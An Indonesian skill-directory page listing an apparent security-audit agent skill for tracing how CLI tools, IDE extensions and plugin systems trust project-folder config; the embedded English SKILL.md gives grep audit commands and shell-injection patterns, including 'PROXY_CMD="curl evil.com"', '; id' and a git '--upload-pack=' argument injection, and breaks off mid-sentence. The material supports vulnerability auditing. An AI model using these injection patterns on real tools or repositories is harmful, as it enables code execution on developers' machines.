Langsung ke konten
Skillpedia
Keamanan6.5k Β· #13979

trust-boundary-analysis

Fungsinya

Skill ini adalah panduan audit untuk alat baris perintah, ekstensi IDE, dan sistem plugin yang membaca pengaturan dari folder saat ini. Skill ini untuk pengembang dan peninjau keamanan yang memeriksa cara alat mereka berjalan.

Kapan dipakai

  • βœ“Saat seorang pengembang meminta agent memeriksa apakah alat CLI atau IDE mempercayai file pengaturan di folder mana pun yang dibukanya.
  • βœ“Ketika agent menelusuri urutan startup alat untuk melihat konfigurasi mana yang menang antara file proyek dan file pengguna.
  • βœ“Ketika sebuah tim meninjau sistem plugin yang memuat kode atau server MCP dari direktori proyek.

Link skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/trust-boundary/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/trust-boundary/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œBisakah alat pengembang kami menjalankan perintah dari file pengaturan di folder proyek yang baru dibuka pengguna?”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent menelusuri bagaimana alat menemukan file konfigurasi, memetakan file mana yang dimuat lebih dulu, dan memeriksa apakah file proyek dipercaya sebelum menjalankan perintah.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

Trust Boundary Analysis

This skill targets the vulnerability class that produced 5 RCE vectors in Google Gemini CLI from a single architectural flaw: missing workspace trust. Developer tools that auto-load configuration from untrusted directories are a rich attack surface.

When to Use

Apply this skill when the target:

  • Loads .env, settings.json, or config files from the current working directory
  • Has a plugin/extension system that auto-discovers and loads code
  • Spawns child processes with configuration-controlled commands
  • Is a CLI tool, IDE extension, language server, or build tool
  • Uses MCP (Model Context Protocol) servers configured via project files

Startup Sequence Audit

For any CLI tool or developer application, trace the full initialization:

1. Config file discovery

grep -rn 'readFile\|readFileSync\|fs.read\|open(' --include='*.ts' --include='*.js' \
  /workspace/target/src/ | grep -i 'config\|settings\|env\|rc\|\.json'

Map the search order. Common dangerous patterns:

  • cwd/.tool/config.json β†’ cwd/.env β†’ ~/.tool/config β†’ /etc/tool/config
  • If the local (cwd) config is loaded BEFORE the user's global config, the attacker's repo-level config wins.

Record each config loading point:

kg_add_node("code_location", "loadConfig() reads .env from cwd",
  props={"file": "src/config/settings.ts", "line": 42, "trust_level": "untrusted"})

2. Environment variable injection

grep -rn 'process\.env\|os\.environ\|env::var\|getenv' --include='*.ts' \
  --include='*.py' --include='*.rs' /workspace/target/src/

Check: Are env vars from .env files injected into process.env? Which vars control dangerous behavior? Look for:

  • *_COMMAND, *_CMD, *_EXEC β†’ shell execution
  • *_PROXY β†’ SSRF / network interception
  • *_PATH, *_DIR β†’ path traversal
  • *_URL β†’ open redirect / SSRF
  • DEBUG, NODE_ENV β†’ bypass security controls

3. Workspace trust check

grep -rn 'trust\|isTrusted\|workspace.*safe\|folder.*trust' --include='*.ts' \
  --include='*.js' /workspace/target/src/

Look for the pattern:

// DANGEROUS: trust disabled by default
if (!settings.folderTrustEnabled) {
  return { isTrusted: true };  // ← All workspaces trusted
}

If no trust check exists, every config is loaded blindly. This is the root cause.

4. Command execution from config

grep -rn 'spawn\|exec\|execSync\|child_process\|subprocess\|os\.system\|Popen' \
  --include='*.ts' --include='*.js' --include='*.py' /workspace/target/src/

For each spawn/exec call, check:

  • Is shell: true set? β†’ shell injection via crafted values
  • Does the command come from config? β†’ attacker-controlled execution
  • Is there any validation/allowlist on the command?

5. Plugin/tool auto-discovery

grep -rn 'discoverTools\|loadPlugins\|autoDiscover\|mcpServers\|toolDiscovery' \
  --include='*.ts' --include='*.js' /workspace/target/src/

Check: Are plugins/tools loaded from project-level config BEFORE any user confirmation? MCP servers, language server plugins, and build tool extensions are common vectors.

Trust Boundary Graph Modeling

Map the attack flow as a chain in the knowledge graph:

ENTRYPOINT (malicious .env file in cloned repo)
  β†’ enables β†’ ENV_INJECT (process.env poisoned)
    β†’ enables β†’ SHELL_EXEC (spawn with shell:true)
      β†’ reaches β†’ CROWN_JEWEL (arbitrary code execution)

Use low edge weights (0.2–0.4) for automatic/silent steps. Use higher weights (1.0+) for steps requiring user interaction.

Then call plan_attack_chains(top_k=5) to surface the cheapest paths.

Shell Quoting Vulnerabilities

When config values flow into shell commands, check for:

  1. Direct interpolation: `command ${userValue}` β†’ injection via ; id
  2. Single-quote escape: osascript -e '${path}' β†’ escape via ' in path
  3. Env var in shell context: PROXY_CMD="curl evil.com" β†’ executed as-is
  4. Argument injection: spawn('git', ['clone', userUrl]) β†’ --upload-pack= prefix

For each, the PoC pattern is:

  • Craft input that breaks out of the quoting context
  • Inject a command that proves execution (id, env, write a sentinel file)
  • Use validate_finding with the sentinel as the success pattern

Negative Control

Always test: does the same code path execute WITHOUT the malicious config? The negative control is the same operation with a clean/empty config directory. If the behavior occurs regardless, it's no

Pertanyaan umum

Mengapa folder saat ini penting?

Skill menyatakan folder proyek dapat berisi konfigurasi yang dimuat alat secara otomatis, sehingga repositori yang bermusuhan dapat memengaruhi pengguna.

Apa itu workspace trust?

Skill menjelaskannya sebagai pemeriksaan yang menanyakan apakah sebuah folder dipercaya sebelum pengaturan atau plugin-nya dipakai.

Alat apa saja yang berlaku?

Skill mencantumkan alat pengembang, CLI, ekstensi IDE, language server, dan alat build yang membaca konfigurasi proyek.

Detail

Deskripsi asli dari pembuat

Trust boundary mapping and startup sequence audit for developer tools, CLI apps, and plugin systems. Load when the target is a developer tool, CLI, IDE extension, or any application that loads config from the current directory.

repo: BitterSecurity/Decepticon

Popularitas

Bintang GitHub
6.5k
Peringkat
#13979
Lisensi
Apache-2.0
Diperbarui
1/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa